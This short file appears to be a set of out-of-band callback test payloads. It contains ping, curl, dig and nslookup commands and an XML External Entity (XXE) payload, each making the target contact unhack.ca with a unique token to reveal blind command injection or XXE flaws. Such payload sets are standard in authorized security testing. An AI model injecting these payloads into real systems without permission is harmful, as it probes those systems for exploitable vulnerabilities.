$ ping -c1 -p 009e89a7a0a59dfa2fb28a8a1459cf00 unhack.ca
$ curl http://unhack.ca/p/9e89a7a0a59dfa2fb28a8a1459cf
$ dig 9e89a7a0a59dfa2fb28a8a1459cf @unhack.ca
$ dig 9e89a7a0a59dfa2fb28a8a1459cf.ns.unhack.ca
C:\> nslookup 9e89a7a0a59dfa2fb28a8a1459cf unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/9e89a7a0a59dfa2fb28a8a1459cf">]> <foo>&xxe;</foo>